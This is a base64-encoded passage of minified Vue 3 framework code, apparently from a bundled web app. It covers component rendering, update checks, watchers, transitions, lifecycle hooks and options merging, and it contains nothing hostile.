tpZighdHx8ZS5fbilyZXR1cm4gZTtjb25zdCBzPSguLi5vKT0+e3MuX2QmJmRyKC0xKTtjb25zdCByPXluKHQpO2xldCBpO3RyeXtpPWUoLi4ubyl9ZmluYWxseXt5bihyKSxzLl9kJiZkcigxKX1yZXR1cm4gaX07cmV0dXJuIHMuX249ITAscy5fYz0hMCxzLl9kPSEwLHN9ZnVuY3Rpb24gSm4oZSl7Y29uc3R7dHlwZTp0LHZub2RlOm4scHJveHk6cyx3aXRoUHJveHk6byxwcm9wczpyLHByb3BzT3B0aW9uczpbaV0sc2xvdHM6bCxhdHRyczpjLGVtaXQ6ZixyZW5kZXI6XyxyZW5kZXJDYWNoZTpnLGRhdGE6dixzZXR1cFN0YXRlOlQsY3R4OnEsaW5oZXJpdEF0dHJzOkp9PWU7bGV0IEcsdGU7Y29uc3QgdmU9eW4oZSk7dHJ5e2lmKG4uc2hhcGVGbGFnJjQpe2NvbnN0IFo9b3x8cyx1ZT1aO0c9cWUoXy5jYWxsKHVlLFosZyxyLFQsdixxKSksdGU9Y31lbHNle2NvbnN0IFo9dDtHPXFlKFoubGVuZ3RoPjE/WihyLHthdHRyczpjLHNsb3RzOmwsZW1pdDpmfSk6WihyLG51bGwpKSx0ZT10LnByb3BzP2M6cmwoYyl9fWNhdGNoKFope1l0Lmxlbmd0aD0wLExuKFosZSwxKSxHPSQoZHQpfWxldCBYPUc7aWYodGUmJkohPT0hMSl7Y29uc3QgWj1PYmplY3Qua2V5cyh0ZSkse3NoYXBlRmxhZzp1ZX09WDtaLmxlbmd0aCYmdWUmNyYmKGkmJlouc29tZShicykmJih0ZT1vbCh0ZSxpKSksWD1TdChYLHRlKSl9cmV0dXJuIG4uZGlycyYmKFg9U3QoWCksWC5kaXJzPVguZGlycz9YLmRpcnMuY29uY2F0KG4uZGlycyk6bi5kaXJzKSxuLnRyYW5zaXRpb24mJihYLnRyYW5zaXRpb249bi50cmFuc2l0aW9uKSxHPVgseW4odmUpLEd9Y29uc3Qgcmw9ZT0+e2xldCB0O2Zvcihjb25zdCBuIGluIGUpKG49PT0iY2xhc3MifHxuPT09InN0eWxlInx8a24obikpJiYoKHR8fCh0PXt9KSlbbl09ZVtuXSk7cmV0dXJuIHR9LG9sPShlLHQpPT57Y29uc3Qgbj17fTtmb3IoY29uc3QgcyBpbiBlKSghYnMocyl8fCEocy5zbGljZSg5KWluIHQpKSYmKG5bc109ZVtzXSk7cmV0dXJuIG59O2Z1bmN0aW9uIGlsKGUsdCxuKXtjb25zdHtwcm9wczpzLGNoaWxkcmVuOm8sY29tcG9uZW50OnJ9PWUse3Byb3BzOmksY2hpbGRyZW46bCxwYXRjaEZsYWc6Y309dCxmPXIuZW1pdHNPcHRpb25zO2lmKHQuZGlyc3x8dC50cmFuc2l0aW9uKXJldHVybiEwO2lmKG4mJmM+PTApe2lmKGMmMTAyNClyZXR1cm4hMDtpZihjJjE2KXJldHVybiBzP3NyKHMsaSxmKTohIWk7aWYoYyY4KXtjb25zdCBfPXQuZHluYW1pY1Byb3BzO2ZvcihsZXQgZz0wO2c8Xy5sZW5ndGg7ZysrKXtjb25zdCB2PV9bZ107aWYoaVt2XSE9PXNbdl0mJiFGbihmLHYpKXJldHVybiEwfX19ZWxzZSByZXR1cm4ob3x8bCkmJighbHx8IWwuJHN0YWJsZSk/ITA6cz09PWk/ITE6cz9pP3NyKHMsaSxmKTohMDohIWk7cmV0dXJuITF9ZnVuY3Rpb24gc3IoZSx0LG4pe2NvbnN0IHM9T2JqZWN0LmtleXModCk7aWYocy5sZW5ndGghPT1PYmplY3Qua2V5cyhlKS5sZW5ndGgpcmV0dXJuITA7Zm9yKGxldCBvPTA7bzxzLmxlbmd0aDtvKyspe2NvbnN0IHI9c1tvXTtpZih0W3JdIT09ZVtyXSYmIUZuKG4scikpcmV0dXJuITB9cmV0dXJuITF9ZnVuY3Rpb24gbGwoe3Zub2RlOmUscGFyZW50OnR9LG4pe2Zvcig7dDspe2NvbnN0IHM9dC5zdWJUcmVlO2lmKHMuc3VzcGVuc2UmJnMuc3VzcGVuc2UuYWN0aXZlQnJhbmNoPT09ZSYmKHMuZWw9ZS5lbCkscz09PWUpKGU9dC52bm9kZSkuZWw9bix0PXQucGFyZW50O2Vsc2UgYnJlYWt9fWNvbnN0IGNsPVN5bWJvbC5mb3IoInYtbmRjIiksYWw9ZT0+ZS5fX2lzU3VzcGVuc2U7ZnVuY3Rpb24gdWwoZSx0KXt0JiZ0LnBlbmRpbmdCcmFuY2g/VihlKT90LmVmZmVjdHMucHVzaCguLi5lKTp0LmVmZmVjdHMucHVzaChlKTp0bChlKX1jb25zdCBmbD1TeW1ib2wuZm9yKCJ2LXNjeCIpLGRsPSgpPT5nbihmbCksdW49e307ZnVuY3Rpb24gV3QoZSx0LG4pe3JldHVybiBfbyhlLHQsbil9ZnVuY3Rpb24gX28oZSx0LHtpbW1lZGlhdGU6bixkZWVwOnMsZmx1c2g6byxvbmNlOnIsb25UcmFjazppLG9uVHJpZ2dlcjpsfT1kZSl7aWYodCYmcil7Y29uc3Qgaj10O3Q9KC4uLmxlKT0+e2ooLi4ubGUpLHVlKCl9fWNvbnN0IGM9SWUsZj1qPT5zPT09ITA/ajp5dChqLHM9PT0hMT8xOnZvaWQgMCk7bGV0IF8sZz0hMSx2PSExO2lmKEZlKGUpPyhfPSgpPT5lLnZhbHVlLGc9bHMoZSkpOk50KGUpPyhfPSgpPT5mKGUpLGc9ITApOlYoZSk/KHY9ITAsZz1lLnNvbWUoaj0+TnQoail8fGxzKGopKSxfPSgpPT5lLm1hcChqPT57aWYoRmUoaikpcmV0dXJuIGoudmFsdWU7aWYoTnQoaikpcmV0dXJuIGYoaik7aWYoSyhqKSlyZXR1cm4gdXQoaixjLDIpfSkpOksoZSk/dD9fPSgpPT51dChlLGMsMik6Xz0oKT0+KFQmJlQoKSxOZShlLGMsMyxbcV0pKTpfPVJlLHQmJnMpe2NvbnN0IGo9XztfPSgpPT55dChqKCkpfWxldCBULHE9aj0+e1Q9WC5vblN0b3A9KCk9Pnt1dChqLGMsNCksVD1YLm9uU3RvcD12b2lkIDB9fSxKO2lmKFBuKWlmKHE9UmUsdD9uJiZOZSh0LGMsMyxbXygpLHY/W106dm9pZCAwLHFdKTpfKCksbz09PSJzeW5jIil7Y29uc3Qgaj1kbCgpO0o9ai5fX3dhdGNoZXJIYW5kbGVzfHwoai5fX3dhdGNoZXJIYW5kbGVzPVtdKX1lbHNlIHJldHVybiBSZTtsZXQgRz12P25ldyBBcnJheShlLmxlbmd0aCkuZmlsbCh1bik6dW47Y29uc3QgdGU9KCk9PntpZighKCFYLmFjdGl2ZXx8IVguZGlydHkpKWlmKHQpe2NvbnN0IGo9WC5ydW4oKTsoc3x8Z3x8KHY/ai5zb21lKChsZSxOKT0+RXQobGUsR1tOXSkpOkV0KGosRykpKSYmKFQmJlQoKSxOZSh0LGMsMyxbaixHPT09dW4/dm9pZCAwOnYmJkdbMF09PT11bj9bXTpHLHFdKSxHPWopfWVsc2UgWC5ydW4oKX07dGUuYWxsb3dSZWN1cnNlPSEhdDtsZXQgdmU7bz09PSJzeW5jIj92ZT10ZTpvPT09InBvc3QiP3ZlPSgpPT54ZSh0ZSxjJiZjLnN1c3BlbnNlKToodGUucHJlPSEwLGMmJih0ZS5pZD1jLnVpZCksdmU9KCk9PkRzKHRlKSk7Y29uc3QgWD1uZXcgQ3MoXyxSZSx2ZSksWj1raSgpLHVlPSgpPT57WC5zdG9wKCksWiYmRXMoWi5lZmZlY3RzLFgpfTtyZXR1cm4gdD9uP3RlKCk6Rz1YLnJ1bigpOm89PT0icG9zdCI/eGUoWC5ydW4uYmluZChYKSxjJiZjLnN1c3BlbnNlKTpYLnJ1bigpLEomJkoucHVzaCh1ZSksdWV9ZnVuY3Rpb24gaGwoZSx0LG4pe2NvbnN0IHM9dGhpcy5wcm94eSxvPXllKGUpP2UuaW5jbHVkZXMoIi4iKT9wbyhzLGUpOigpPT5zW2VdOmUuYmluZChzLHMpO2xldCByO0sodCk/cj10OihyPXQuaGFuZGxlcixuPXQpO2NvbnN0IGk9dG4odGhpcyksbD1fbyhvLHIuYmluZChzKSxuKTtyZXR1cm4gaSgpLGx9ZnVuY3Rpb24gcG8oZSx0KXtjb25zdCBuPXQuc3BsaXQoIi4iKTtyZXR1cm4oKT0+e2xldCBzPWU7Zm9yKGxldCBvPTA7bzxuLmxlbmd0aCYmcztvKyspcz1zW25bb11dO3JldHVybiBzfX1mdW5jdGlvbiB5dChlLHQsbj0wLHMpe2lmKCFmZShlKXx8ZS5fX3Zfc2tpcClyZXR1cm4gZTtpZih0JiZ0PjApe2lmKG4+PXQpcmV0dXJuIGU7bisrfWlmKHM9c3x8bmV3IFNldCxzLmhhcyhlKSlyZXR1cm4gZTtpZihzLmFkZChlKSxGZShlKSl5dChlLnZhbHVlLHQsbixzKTtlbHNlIGlmKFYoZSkpZm9yKGxldCBvPTA7bzxlLmxlbmd0aDtvKyspeXQoZVtvXSx0LG4scyk7ZWxzZSBpZihPbihlKXx8UnQoZSkpZS5mb3JFYWNoKG89Pnt5dChvLHQsbixzKX0pO2Vsc2UgaWYoUnIoZSkpZm9yKGNvbnN0IG8gaW4gZSl5dChlW29dLHQsbixzKTtyZXR1cm4gZX1mdW5jdGlvbiBnZShlLHQpe2lmKFRlPT09bnVsbClyZXR1cm4gZTtjb25zdCBuPVVuKFRlKXx8VGUucHJveHkscz1lLmRpcnN8fChlLmRpcnM9W10pO2ZvcihsZXQgbz0wO288dC5sZW5ndGg7bysrKXtsZXRbcixpLGwsYz1kZV09dFtvXTtyJiYoSyhyKSYmKHI9e21vdW50ZWQ6cix1cGRhdGVkOnJ9KSxyLmRlZXAmJnl0KGkpLHMucHVzaCh7ZGlyOnIsaW5zdGFuY2U6bix2YWx1ZTppLG9sZFZhbHVlOnZvaWQgMCxhcmc6bCxtb2RpZmllcnM6Y30pKX1yZXR1cm4gZX1mdW5jdGlvbiBodChlLHQsbixzKXtjb25zdCBvPWUuZGlycyxyPXQmJnQuZGlycztmb3IobGV0IGk9MDtpPG8ubGVuZ3RoO2krKyl7Y29uc3QgbD1vW2ldO3ImJihsLm9sZFZhbHVlPXJbaV0udmFsdWUpO2xldCBjPWwuZGlyW3NdO2MmJihrdCgpLE5lKGMsbiw4LFtlLmVsLGwsZSx0XSksT3QoKSl9fWNvbnN0IE10PVN5bWJvbCgiX2xlYXZlQ2IiKSxmbj1TeW1ib2woIl9lbnRlckNiIik7ZnVuY3Rpb24gX2woKXtjb25zdCBlPXtpc01vdW50ZWQ6ITEsaXNMZWF2aW5nOiExLGlzVW5tb3VudGluZzohMSxsZWF2aW5nVk5vZGVzOm5ldyBNYXB9O3JldHVybiB5bygoKT0+e2UuaXNNb3VudGVkPSEwfSksYm8oKCk9PntlLmlzVW5tb3VudGluZz0hMH0pLGV9Y29uc3QgRGU9W0Z1bmN0aW9uLEFycmF5XSxwbD17bW9kZTpTdHJpbmcsYXBwZWFyOkJvb2xlYW4scGVyc2lzdGVkOkJvb2xlYW4sb25CZWZvcmVFbnRlcjpEZSxvbkVudGVyOkRlLG9uQWZ0ZXJFbnRlcjpEZSxvbkVudGVyQ2FuY2VsbGVkOkRlLG9uQmVmb3JlTGVhdmU6RGUsb25MZWF2ZTpEZSxvbkFmdGVyTGVhdmU6RGUsb25MZWF2ZUNhbmNlbGxlZDpEZSxvbkJlZm9yZUFwcGVhcjpEZSxvbkFwcGVhcjpEZSxvbkFmdGVyQXBwZWFyOkRlLG9uQXBwZWFyQ2FuY2VsbGVkOkRlfTtmdW5jdGlvbiBnbChlLHQpe2NvbnN0e2xlYXZpbmdWTm9kZXM6bn09ZTtsZXQgcz1uLmdldCh0LnR5cGUpO3JldHVybiBzfHwocz1PYmplY3QuY3JlYXRlKG51bGwpLG4uc2V0KHQudHlwZSxzKSksc31mdW5jdGlvbiBhcyhlLHQsbixzKXtjb25zdHthcHBlYXI6byxtb2RlOnIscGVyc2lzdGVkOmk9ITEsb25CZWZvcmVFbnRlcjpsLG9uRW50ZXI6YyxvbkFmdGVyRW50ZXI6ZixvbkVudGVyQ2FuY2VsbGVkOl8sb25CZWZvcmVMZWF2ZTpnLG9uTGVhdmU6dixvbkFmdGVyTGVhdmU6VCxvbkxlYXZlQ2FuY2VsbGVkOnEsb25CZWZvcmVBcHBlYXI6SixvbkFwcGVhcjpHLG9uQWZ0ZXJBcHBlYXI6dGUsb25BcHBlYXJDYW5jZWxsZWQ6dmV9PXQsWD1TdHJpbmcoZS5rZXkpLFo9Z2wobixlKSx1ZT0oTixuZSk9PntOJiZOZShOLHMsOSxuZSl9LGo9KE4sbmUpPT57Y29uc3Qgc2U9bmVbMV07dWUoTixuZSksVihOKT9OLmV2ZXJ5KGE9PmEubGVuZ3RoPD0xKSYmc2UoKTpOLmxlbmd0aDw9MSYmc2UoKX0sbGU9e21vZGU6cixwZXJzaXN0ZWQ6aSxiZWZvcmVFbnRlcihOKXtsZXQgbmU9bDtpZighbi5pc01vdW50ZWQpaWYobyluZT1KfHxsO2Vsc2UgcmV0dXJuO05bTXRdJiZOW010XSghMCk7Y29uc3Qgc2U9WltYXTtzZSYmRHQoZSxzZSkmJnNlLmVsW010XSYmc2UuZWxbTXRdKCksdWUobmUsW05dKX0sZW50ZXIoTil7bGV0IG5lPWMsc2U9ZixhPV87aWYoIW4uaXNNb3VudGVkKWlmKG8pbmU9R3x8YyxzZT10ZXx8ZixhPXZlfHxfO2Vsc2UgcmV0dXJuO2xldCBwPSExO2NvbnN0IHk9Tltmbl09eD0+e3B8fChwPSEwLHg/dWUoYSxbTl0pOnVlKHNlLFtOXSksbGUuZGVsYXllZExlYXZlJiZsZS5kZWxheWVkTGVhdmUoKSxOW2ZuXT12b2lkIDApfTtuZT9qKG5lLFtOLHldKTp5KCl9LGxlYXZlKE4sbmUpe2NvbnN0IHNlPVN0cmluZyhlLmtleSk7aWYoTltmbl0mJk5bZm5dKCEwKSxuLmlzVW5tb3VudGluZylyZXR1cm4gbmUoKTt1ZShnLFtOXSk7bGV0IGE9ITE7Y29uc3QgcD1OW010XT15PT57YXx8KGE9ITAsbmUoKSx5P3VlKHEsW05dKTp1ZShULFtOXSksTltNdF09dm9pZCAwLFpbc2VdPT09ZSYmZGVsZXRlIFpbc2VdKX07WltzZV09ZSx2P2oodixbTixwXSk6cCgpfSxjbG9uZShOKXtyZXR1cm4gYXMoTix0LG4scyl9fTtyZXR1cm4gbGV9ZnVuY3Rpb24gdXMoZSx0KXtlLnNoYXBlRmxhZyY2JiZlLmNvbXBvbmVudD91cyhlLmNvbXBvbmVudC5zdWJUcmVlLHQpOmUuc2hhcGVGbGFnJjEyOD8oZS5zc0NvbnRlbnQudHJhbnNpdGlvbj10LmNsb25lKGUuc3NDb250ZW50KSxlLnNzRmFsbGJhY2sudHJhbnNpdGlvbj10LmNsb25lKGUuc3NGYWxsYmFjaykpOmUudHJhbnNpdGlvbj10fWZ1bmN0aW9uIGdvKGUsdD0hMSxuKXtsZXQgcz1bXSxvPTA7Zm9yKGxldCByPTA7cjxlLmxlbmd0aDtyKyspe2xldCBpPWVbcl07Y29uc3QgbD1uPT1udWxsP2kua2V5OlN0cmluZyhuKStTdHJpbmcoaS5rZXkhPW51bGw/aS5rZXk6cik7aS50eXBlPT09bWU/KGkucGF0Y2hGbGFnJjEyOCYmbysrLHM9cy5jb25jYXQoZ28oaS5jaGlsZHJlbix0LGwpKSk6KHR8fGkudHlwZSE9PWR0KSYmcy5wdXNoKGwhPW51bGw/U3QoaSx7a2V5Omx9KTppKX1pZihvPjEpZm9yKGxldCByPTA7cjxzLmxlbmd0aDtyKyspc1tyXS5wYXRjaEZsYWc9LTI7cmV0dXJuIHN9Y29uc3QgcG49ZT0+ISFlLnR5cGUuX19hc3luY0xvYWRlcixtbz1lPT5lLnR5cGUuX19pc0tlZXBBbGl2ZTtmdW5jdGlvbiBtbChlLHQpe3ZvKGUsImEiLHQpfWZ1bmN0aW9uIHZsKGUsdCl7dm8oZSwiZGEiLHQpfWZ1bmN0aW9uIHZvKGUsdCxuPUllKXtjb25zdCBzPWUuX193ZGN8fChlLl9fd2RjPSgpPT57bGV0IG89bjtmb3IoO287KXtpZihvLmlzRGVhY3RpdmF0ZWQpcmV0dXJuO289by5wYXJlbnR9cmV0dXJuIGUoKX0pO2lmKCRuKHQscyxuKSxuKXtsZXQgbz1uLnBhcmVudDtmb3IoO28mJm8ucGFyZW50OyltbyhvLnBhcmVudC52bm9kZSkmJnlsKHMsdCxuLG8pLG89by5wYXJlbnR9fWZ1bmN0aW9uIHlsKGUsdCxuLHMpe2NvbnN0IG89JG4odCxlLHMsITApO0VvKCgpPT57RXMoc1t0XSxvKX0sbil9ZnVuY3Rpb24gJG4oZSx0LG49SWUscz0hMSl7aWYobil7Y29uc3Qgbz1uW2VdfHwobltlXT1bXSkscj10Ll9fd2VofHwodC5fX3dlaD0oLi4uaSk9PntpZihuLmlzVW5tb3VudGVkKXJldHVybjtrdCgpO2NvbnN0IGw9dG4obiksYz1OZSh0LG4sZSxpKTtyZXR1cm4gbCgpLE90KCksY30pO3JldHVybiBzP28udW5zaGlmdChyKTpvLnB1c2gocikscn19Y29uc3QgbnQ9ZT0+KHQsbj1JZSk9PighUG58fGU9PT0ic3AiKSYmJG4oZSwoLi4ucyk9PnQoLi4ucyksbiksd2w9bnQoImJtIikseW89bnQoIm0iKSxibD1udCgiYnUiKSx3bz1udCgidSIpLGJvPW50KCJidW0iKSxFbz1udCgidW0iKSxFbD1udCgic3AiKSxTbD1udCgicnRnIiksSWw9bnQoInJ0YyIpO2Z1bmN0aW9uIENsKGUsdD1JZSl7JG4oImVjIixlLHQpfWZ1bmN0aW9uIGV0KGUsdCxuLHMpe2xldCBvO2NvbnN0IHI9biYmbltzXTtpZihWKGUpfHx5ZShlKSl7bz1uZXcgQXJyYXkoZS5sZW5ndGgpO2ZvcihsZXQgaT0wLGw9ZS5sZW5ndGg7aTxsO2krKylvW2ldPXQoZVtpXSxpLHZvaWQgMCxyJiZyW2ldKX1lbHNlIGlmKHR5cGVvZiBlPT0ibnVtYmVyIil7bz1uZXcgQXJyYXkoZSk7Zm9yKGxldCBpPTA7aTxlO2krKylvW2ldPXQoaSsxLGksdm9pZCAwLHImJnJbaV0pfWVsc2UgaWYoZmUoZSkpaWYoZVtTeW1ib2wuaXRlcmF0b3JdKW89QXJyYXkuZnJvbShlLChpLGwpPT50KGksbCx2b2lkIDAsciYmcltsXSkpO2Vsc2V7Y29uc3QgaT1PYmplY3Qua2V5cyhlKTtvPW5ldyBBcnJheShpLmxlbmd0aCk7Zm9yKGxldCBsPTAsYz1pLmxlbmd0aDtsPGM7bCsrKXtjb25zdCBmPWlbbF07b1tsXT10KGVbZl0sZixsLHImJnJbbF0pfX1lbHNlIG89W107cmV0dXJuIG4mJihuW3NdPW8pLG99Y29uc3QgZnM9ZT0+ZT9EbyhlKT9VbihlKXx8ZS5wcm94eTpmcyhlLnBhcmVudCk6bnVsbCxKdD13ZShPYmplY3QuY3JlYXRlKG51bGwpLHskOmU9PmUsJGVsOmU9PmUudm5vZGUuZWwsJGRhdGE6ZT0+ZS5kYXRhLCRwcm9wczplPT5lLnByb3BzLCRhdHRyczplPT5lLmF0dHJzLCRzbG90czplPT5lLnNsb3RzLCRyZWZzOmU9PmUucmVmcywkcGFyZW50OmU9PmZzKGUucGFyZW50KSwkcm9vdDplPT5mcyhlLnJvb3QpLCRlbWl0OmU9PmUuZW1pdCwkb3B0aW9uczplPT4kcyhlKSwkZm9yY2VVcGRhdGU6ZT0+ZS5mfHwoZS5mPSgpPT57ZS5lZmZlY3QuZGlydHk9ITAsRHMoZS51cGRhdGUpfSksJG5leHRUaWNrOmU9PmUubnx8KGUubj1aaS5iaW5kKGUucHJveHkpKSwkd2F0Y2g6ZT0+aGwuYmluZChlKX0pLFluPShlLHQpPT5lIT09ZGUmJiFlLl9faXNTY3JpcHRTZXR1cCYmZWUoZSx0KSxrbD17Z2V0KHtfOmV9LHQpe2NvbnN0e2N0eDpuLHNldHVwU3RhdGU6cyxkYXRhOm8scHJvcHM6cixhY2Nlc3NDYWNoZTppLHR5cGU6bCxhcHBDb250ZXh0OmN9PWU7bGV0IGY7aWYodFswXSE9PSIkIil7Y29uc3QgVD1pW3RdO2lmKFQhPT12b2lkIDApc3dpdGNoKFQpe2Nhc2UgMTpyZXR1cm4gc1t0XTtjYXNlIDI6cmV0dXJuIG9bdF07Y2FzZSA0OnJldHVybiBuW3RdO2Nhc2UgMzpyZXR1cm4gclt0XX1lbHNle2lmKFluKHMsdCkpcmV0dXJuIGlbdF09MSxzW3RdO2lmKG8hPT1kZSYmZWUobyx0KSlyZXR1cm4gaVt0XT0yLG9bdF07aWYoKGY9ZS5wcm9wc09wdGlvbnNbMF0pJiZlZShmLHQpKXJldHVybiBpW3RdPTMsclt0XTtpZihuIT09ZGUmJmVlKG4sdCkpcmV0dXJuIGlbdF09NCxuW3RdO2RzJiYoaVt0XT0wKX19Y29uc3QgXz1KdFt0XTtsZXQgZyx2O2lmKF8pcmV0dXJuIHQ9PT0iJGF0dHJzIiYmQWUoZSwiZ2V0Iix0KSxfKGUpO2lmKChnPWwuX19jc3NNb2R1bGVzKSYmKGc9Z1t0XSkpcmV0dXJuIGc7aWYobiE9PWRlJiZlZShuLHQpKXJldHVybiBpW3RdPTQsblt0XTtpZih2PWMuY29uZmlnLmdsb2JhbFByb3BlcnRpZXMsZWUodix0KSlyZXR1cm4gdlt0XX0sc2V0KHtfOmV9LHQsbil7Y29uc3R7ZGF0YTpzLHNldHVwU3RhdGU6byxjdHg6cn09ZTtyZXR1cm4gWW4obyx0KT8ob1t0XT1uLCEwKTpzIT09ZGUmJmVlKHMsdCk/KHNbdF09biwhMCk6ZWUoZS5wcm9wcyx0KXx8dFswXT09PSIkIiYmdC5zbGljZSgxKWluIGU/ITE6KHJbdF09biwhMCl9LGhhcyh7Xzp7ZGF0YTplLHNldHVwU3RhdGU6dCxhY2Nlc3NDYWNoZTpuLGN0eDpzLGFwcENvbnRleHQ6byxwcm9wc09wdGlvbnM6cn19LGkpe2xldCBsO3JldHVybiEhbltpXXx8ZSE9PWRlJiZlZShlLGkpfHxZbih0LGkpfHwobD1yWzBdKSYmZWUobCxpKXx8ZWUocyxpKXx8ZWUoSnQsaSl8fGVlKG8uY29uZmlnLmdsb2JhbFByb3BlcnRpZXMsaSl9LGRlZmluZVByb3BlcnR5KGUsdCxuKXtyZXR1cm4gbi5nZXQhPW51bGw/ZS5fLmFjY2Vzc0NhY2hlW3RdPTA6ZWUobiwidmFsdWUiKSYmdGhpcy5zZXQoZSx0LG4udmFsdWUsbnVsbCksUmVmbGVjdC5kZWZpbmVQcm9wZXJ0eShlLHQsbil9fTtmdW5jdGlvbiBycihlKXtyZXR1cm4gVihlKT9lLnJlZHVjZSgodCxuKT0+KHRbbl09bnVsbCx0KSx7fSk6ZX1sZXQgZHM9ITA7ZnVuY3Rpb24gT2woZSl7Y29uc3QgdD0kcyhlKSxuPWUucHJveHkscz1lLmN0eDtkcz0hMSx0LmJlZm9yZUNyZWF0ZSYmb3IodC5iZWZvcmVDcmVhdGUsZSwiYmMiKTtjb25zdHtkYXRhOm8sY29tcHV0ZWQ6cixtZXRob2RzOmksd2F0Y2g6bCxwcm92aWRlOmMsaW5qZWN0OmYsY3JlYXRlZDpfLGJlZm9yZU1vdW50OmcsbW91bnRlZDp2LGJlZm9yZVVwZGF0ZTpULHVwZGF0ZWQ6cSxhY3RpdmF0ZWQ6SixkZWFjdGl2YXRlZDpHLGJlZm9yZURlc3Ryb3k6dGUsYmVmb3JlVW5tb3VudDp2ZSxkZXN0cm95ZWQ6WCx1bm1vdW50ZWQ6WixyZW5kZXI6dWUscmVuZGVyVHJhY2tlZDpqLHJlbmRlclRyaWdnZXJlZDpsZSxlcnJvckNhcHR1cmVkOk4sc2VydmVyUHJlZmV0Y2g6bmUsZXhwb3NlOnNlLGluaGVyaXRBdHRyczphLGNvbXBvbmVudHM6cCxkaXJlY3RpdmVzOnksZmlsdGVyczp4fT10O2lmKGYmJnhsKGYscyxudWxsKSxpKWZvcihjb25zdCBEIGluIGkpe2NvbnN0IFU9aVtEXTtLKFUpJiYoc1tEXT1VLmJpbmQobikpfWlmKG8pe2NvbnN0IEQ9by5jYWxsKG4sbik7ZmUoRCkmJihlLmRhdGE9TW4oRCkpfWlmKGRzPSEwLHIpZm9yKGNvbnN0IEQgaW4gcil7Y29uc3QgVT1yW0RdLHJlPUsoVSk/VS5iaW5kKG4sbik6SyhVLmdldCk/VS5nZXQuYmluZChuLG4pOlJlLF9lPSFLKFUpJiZLKFUuc2V0KT9VLnNldC5iaW5kKG4pOlJlLHBlPVJvKHtnZXQ6cmUsc2V0Ol9lfSk7T2JqZWN0LmRlZmluZVByb3BlcnR5KHMsRCx7ZW51bWVyYWJsZTohMCxjb25maWd1cmFibGU6ITAsZ2V0OigpPT5wZS52YWx1ZSxzZXQ6VWU9PnBlLnZhbHVlPVVlfSl9aWYobClmb3IoY29uc3QgRCBpbiBsKVNvKGxbRF0scyxuLEQpO2lmKGMpe2NvbnN0IEQ9SyhjKT9jLmNhbGwobik6YztSZWZsZWN0Lm93bktleXMoRCkuZm9yRWFjaChVPT57RGwoVSxEW1VdKX0pfV8mJm9yKF8sZSwiYyIpO2Z1bmN0aW9uIFkoRCxVKXtWKFUpP1UuZm9yRWFjaChyZT0+RChyZS5iaW5kKG4pKSk6VSYmRChVLmJpbmQobikpfWlmKFkod2wsZyksWSh5byx2KSxZKGJsLFQpLFkod28scSksWShtbCxKKSxZKHZsLEcpLFkoQ2wsTiksWShJbCxqKSxZKFNsLGxlKSxZKGJvLHZlKSxZKEVvLFopLFkoRWwsbmUpLFYoc2UpKWlmKHNlLmxlbmd0aCl7Y29uc3QgRD1lLmV4cG9zZWR8fChlLmV4cG9zZWQ9e30pO3NlLmZvckVhY2goVT0+e09iamVjdC5kZWZpbmVQcm9wZXJ0eShELFUse2dldDooKT0+bltVXSxzZXQ6cmU9Pm5bVV09cmV9KX0pfWVsc2UgZS5leHBvc2VkfHwoZS5leHBvc2VkPXt9KTt1ZSYmZS5yZW5kZXI9PT1SZSYmKGUucmVuZGVyPXVlKSxhIT1udWxsJiYoZS5pbmhlcml0QXR0cnM9YSkscCYmKGUuY29tcG9uZW50cz1wKSx5JiYoZS5kaXJlY3RpdmVzPXkpfWZ1bmN0aW9uIHhsKGUsdCxuPVJlKXtWKGUpJiYoZT1ocyhlKSk7Zm9yKGNvbnN0IHMgaW4gZSl7Y29uc3Qgbz1lW3NdO2xldCByO2ZlKG8pPyJkZWZhdWx0ImluIG8/cj1nbihvLmZyb218fHMsby5kZWZhdWx0LCEwKTpyPWduKG8uZnJvbXx8cyk6cj1nbihvKSxGZShyKT9PYmplY3QuZGVmaW5lUHJvcGVydHkodCxzLHtlbnVtZXJhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMCxnZXQ6KCk9PnIudmFsdWUsc2V0Omk9PnIudmFsdWU9aX0pOnRbc109cn19ZnVuY3Rpb24gb3IoZSx0LG4pe05lKFYoZSk/ZS5tYXAocz0+cy5iaW5kKHQucHJveHkpKTplLmJpbmQodC5wcm94eSksdCxuKX1mdW5jdGlvbiBTbyhlLHQsbixzKXtjb25zdCBvPXMuaW5jbHVkZXMoIi4iKT9wbyhuLHMpOigpPT5uW3NdO2lmKHllKGUpKXtjb25zdCByPXRbZV07SyhyKSYmV3QobyxyKX1lbHNlIGlmKEsoZSkpV3QobyxlLmJpbmQobikpO2Vsc2UgaWYoZmUoZSkpaWYoVihlKSllLmZvckVhY2gocj0+U28ocix0LG4scykpO2Vsc2V7Y29uc3Qgcj1LKGUuaGFuZGxlcik/ZS5oYW5kbGVyLmJpbmQobik6dFtlLmhhbmRsZXJdO0socikmJld0KG8scixlKX19ZnVuY3Rpb24gJHMoZSl7Y29uc3QgdD1lLnR5cGUse21peGluczpuLGV4dGVuZHM6c309dCx7bWl4aW5zOm8sb3B0aW9uc0NhY2hlOnIsY29uZmlnOntvcHRpb25NZXJnZVN0cmF0ZWdpZXM6aX19PWUuYXBwQ29udGV4dCxsPXIuZ2V0KHQpO2xldCBjO3JldHVybiBsP2M9bDohby5sZW5ndGgmJiFuJiYhcz9jPXQ6KGM9e30sby5sZW5ndGgmJm8uZm9yRWFjaChmPT53bihjLGYsaSwhMCkpLHduKGMsdCxpKSksZmUodCkmJnIuc2V0KHQsYyksY31mdW5jdGlvbiB3bihlLHQsbixzPSExKXtjb25zdHttaXhpbnM6byxleHRlbmRzOnJ9PXQ7ciYmd24oZSxyLG4sITApLG8mJm8uZm9yRWFjaChpPT53bihlLGksbiwhMCkpO2Zvcihjb25zdCBpIGluIHQpaWYoIShzJiZpPT09ImV4cG9zZSIpKXtjb25zdCBsPVRsW2ldfHxuJiZuW2ldO2VbaV09bD9sKGVbaV0sdFtpXSk6dFtpXX1yZXR1cm4gZX1jb25zdCBUbD17ZGF0YTppcixwcm9wczpscixlbWl0czpscixtZXRob2RzOnp0LGNvbXB1dGVkOnp0LGJlZm9yZUNyZWF0ZTpDZSxjcmVhdGVkOkNlLGJlZm9yZU1vdW50OkNlLG1vdW50ZWQ6Q2UsYmVmb3JlVXBkYXRlOkNlLHVwZGF0ZWQ6Q2UsYmVmb3JlRGVzdHJveTpDZSxiZWZvcmVVbm1vdW50OkNlLGRlc3Ryb3llZDpDZSx1bm1vdW50ZWQ6Q2UsYWN0aXZhdGVkOkNlLGRlYWN0aXZhdGVkOkNlLGVycm9yQ2FwdHVyZWQ6Q2Usc2VydmVyUHJlZmV0Y2g6Q2UsY29tcG9uZW5